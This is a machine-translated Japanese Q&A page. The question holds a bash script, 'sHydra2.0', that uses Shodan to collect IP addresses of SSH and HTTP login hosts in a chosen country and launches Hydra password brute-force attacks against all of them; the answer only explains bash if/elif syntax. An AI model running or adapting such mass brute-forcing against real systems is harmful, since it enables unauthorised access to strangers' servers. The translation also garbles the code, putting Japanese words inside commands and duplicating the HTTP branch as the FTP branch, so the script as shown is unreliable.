スクリプトで選択をさらに実装する必要があるため、3はこれを行います。 [閉じる]

スクリプトで選択をさらに実装する必要があるため、3はこれを行います。 [閉じる]

#!/bin/bash Figlet -w 100 SHydra2.0 echo "sHydra2.0 は初期化中です。" echo「責任を持って使用してください。」 echo「あなたの誤った決定について私は責任を負いません。」 /bin/sleep 10 #!/bin /強打

echo -en "選択してください:\n\t1.SSH-Brute\n\t2.HTTP-Brute\n\t3.FTP-Brute\n\t選択してください:" read VAR

[[$ VAR = 1]]の場合

元のコードダウン##

ShodanのAPIキーリクエスト

echo "SSH-Brute の選択" /bin/sleep 5 echo "Shodan API キーストローク" read -p'API:' uservar

echo "2桁の国コードを入力してください....info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '国コード:'

echo "ユーザー名リストの絶対パスを入力してください。 例: /usr/share/wordlists/..etc" read -p 'ユーザー名リストパス:' ulvar

echo "パスワードリストの絶対パスを入力してください。 例: /usr/share/wordlists/...etc" read -p 'パスワードリスト:' pwvar

echo "SSH-Brute 初期化" shodan init $uservar

shodan 検索機能を使用してポート 22 を検索し、使用可能な IP アドレスを grep してファイルに出力します。

shodan検索ポート:22、国:$ countvar | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0 -9]{1,3}' > $1 ;sort $1 -u > $1 |

wc -l <​​ $1 && echo "SSH ターゲットがロードされました"

/bin/sleep 5 echo 「対象は範囲内です!」 / bin / sleep 5 echo "起動シーケンスがすぐに始まります..." echo "恐れている場合は、今やめてください!"

/bin/sleep 5 read -rsn1 -p "中断する最後のチャンスです。続行するには任意のキーを押します" echo変数;

##カウントダウン関数秒= 10; date1=$(( date +%s+ $seconds)); while [ "$date1" -ge date +%s] do echo -ne "$(date -u --date @$(($date1 - date +%s) ) +%H:%M:%S)\r";完了

##notifiers## read -rsn1 -p "登録内容を知っています。続行するには任意のキーを押してください。"変数; echo echo 「今スタート」

Hydraコマンドが機能しない場合は、絶対パスをユーザー名リストとパスワードリストに変更してください##

Hydra -L $ulvar -P $pwvar -M $1 -o $2 -t 4 ssh ##ファイルを現在のディレクトリに出力# echo "ファイルの保存場所: ${PWD}" fi

else if [[ $VAR = 2 ]] then #http Brute 部分的に新機能です!

ShodanのAPIキーリクエスト

/bin/sleep 5 echo "HTTP-Brute 進行中" /bin/sleep 5 echo "Shodan API キーストローク" read -p'API:' uservar /bin/sleep 5 echo "2 桁の国/地域コードを入力してください。 .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '国コード:' countvar

echo "ユーザー名リストの絶対パスを入力してください。 例: /usr/share/wordlists/..etc" read -p 'ユーザー名リストパス:' ulvar

echo "パスワードリストの絶対パスを入力してください。 例: /usr/share/wordlists/...etc" read -p 'パスワードリスト:' pwvar

echo "HTTP ターゲットが初期化中です。" shodan init $uservar

shodan 検索機能を使用してポート 22 を検索し、使用可能な IP アドレスを grep してファイルに出力します。

shodan検索ポート:80、ログイン、国:$ countvar, 200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 ソート -u > $1

wc -l <​​ $1 && echo "HTTP ターゲットがロードされました"

/bin/sleep 5 echo "HTTP ターゲットが範囲内にある!" /bin/sleep 5 echo "開始シーケンスがすぐに始まります..." echo "恐れている場合は、今やめてください!"

/bin/sleep 10 read -rsn1 -p "中断する最後の機会です。続行するには任意のキーを押します" echo変数;

##カウントダウン関数秒= 10; date1=$(( date +%s+ $seconds)); while [ "$date1" -ge date +%s] do echo -ne "$(date -u --date @$(($date1 - date +%s) ) +%H:%M:%S)\r";完了

##notifiers## read -rsn1 -p "登録内容を知っています。続行するには任意のキーを押してください。"変数; echo echo 「今スタート」

Hydraコマンドが機能しない場合は、絶対パスをユーザー名リストとパスワードリストに変更してください##

Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##現在のディレクトリにファイルを出力します# echo "ファイルが保存される場所: ${PWD}" fi

###FTP機能## else if [[ $VAR = 3 ]] then #FTP新機能!

ShodanのAPIキーリクエスト

/bin/sleep 5 echo "FTP-Brute 進行中" /bin/sleep 5 echo "Shodan API キーストローク" read -p'API:' uservar /bin/sleep 5 echo "2 桁の国/地域コードを入力してください。 .. .info@https://www.nationsonline.org/oneworld/country_code_list.htm" read -p '国コード:' countvar

echo "ユーザー名リストの絶対パスを入力してください。 例: /usr/share/wordlists/..etc" read -p 'ユーザー名リストパス:' ulvar

echo "パスワードリストの絶対パスを入力してください。 例: /usr/share/wordlists/...etc" read -p 'パスワードリスト:' pwvar

echo "HTTP ターゲットが初期化中です。" shodan init $uservar

shodan 検索機能を使用してポート 22 を検索し、使用可能な IP アドレスを grep してファイルに出力します。

shodan検索ポート:80、ログイン、国:$ countvar, 200 | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3 }.[0-9]{1,3}' > $1 ; $1 ソート -u > $1

wc -l <​​ $1 && echo "HTTP ターゲットがロードされました"

/bin/sleep 5 echo "HTTP ターゲットが範囲内にある!" /bin/sleep 5 echo "開始シーケンスがすぐに始まります..." echo "恐れている場合は、今やめてください!" -rsn1 -p "中断する最後のチャンスです。続行するには任意のキーを押します" echo変数。

##カウントダウン関数秒= 10; date1=$(( date +%s+ $seconds)); while [ "$date1" -ge date +%s] do echo -ne "$(date -u --date @$(($date1 - date +%s) ) +%H:%M:%S)\r";完了

##notifiers## read -rsn1 -p "登録内容を知っています。続行するには任意のキーを押してください。"変数; echo echo 「今スタート」

Hydraコマンドが機能しない場合は、絶対パスをユーザー名リストとパスワードリストに変更してください##

Hydra -L $ulvar -vV -P $pwvar http-get-form -M $1 -o $2 -t 4 ##現在のディレクトリにファイルを出力します# echo "ファイルが保存される場所: ${PWD}" fi

ベストアンサー1

Bashでは、if文のデフォルト構文は次のとおりです。

if ...; then
  statement
elif ...; then
  statement
else
  statement
fi

たとえば、

if [ ! "$FOO" ]; then
  echo "Foo is not set."
elif [ "$FOO" = "yes" ]; then
  echo "Foo equals 'yes'."
else
  echo "Foo is set but does not equal 'yes'.";
fi

elif(else-if)と句が必要ない場合は省略できます。else

if [ "$FOO" = "yes" ]; then
      echo "Foo equals 'yes'."
fi

一部の人々は、if句の末尾に ";then"を使用せずに、少し異なる形式を好むでしょう。

if [ "$FOO" = "yes" ]
then
  echo "Foo equals 'yes'."
fi

おすすめ記事